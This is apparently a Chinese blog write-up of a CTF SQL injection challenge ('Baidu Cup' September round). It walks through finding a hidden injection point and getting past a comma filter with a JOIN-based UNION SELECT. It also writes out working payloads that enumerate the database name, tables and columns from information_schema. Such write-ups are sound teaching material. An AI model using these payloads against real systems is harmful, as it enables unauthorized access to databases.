“百度杯”CTF比赛 九月场SQLi ---------mozhe

本文围绕https://www.ichunqiu.com/battalion链接展开SQL注入测试。起初未在login.php?id=1发现注入点,后在index.php找到真正注入点。单引号检测报错,逗号被过滤,采用join绕过。通过构造语句实现查询,依次查询数据库、表、列和字段,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:https://www.ichunqiu.com/battalion

点击进去,查看源代码

 发现login.php?id=1

一般是存在sql注入的,可是我测试了好几遍,sqlmap也跑过了,也没发现啥

没办法,查看了官方wp,说是存在index.php,并在其header头有真正的注入点

在index.php请求进行301重定向,明显发现上面的链接只差一个字母,我的是直接看到注入点l0gin.php?id=1。不能直接看到的要在header请求b68a89d1c4a097a9d863lb3ac45e8979.php

来到正确的注入页面

发现一个部分的表图 ,从表的结构可以知道字段为2

单引号检测,直接查询报错

那就 ' order by 1,2#

直接过滤了逗号后面的语句,并且id回显的是过滤后的语句

百度一波,逗号绕过注入

join 绕过

构造语句:1'  union select * from (select 1) a join (select 2 ) b %23

发现回显正常,照上面分析,id会回显过滤后的sql语句(1'  union select * from (select 1) a join (select 2 ) b %23)才对

这里没有回显,说明注入语句执行成功,因为是联合查询,union 前后的两个注入语句都是执行成功的。而这里第一个执行的结果输出了,以致第二个sql查询结果无法显示出来。

那我们可以让第一个结果执行为空,第二个就可以显示出来了

id=3的时候,username是空的

直接构造语句:3'  union select * from (select 1) a join (select 2 ) b %23

正常回显查询的字段

现在查询数据库

3'  union select * from (select 1) a join (select database() ) b %23

 

查询表

3'  union select * from (select 1) a join (select table_name from information_schema.tables where table_schema='sqli' ) b %23

得到user表(不贴图)

查询列

3'  union select * from (select 1) a join (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users'  ) b #

(这里连接字符函数换成limit也可以,不过照样的绕过逗号)

查询字段

get flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值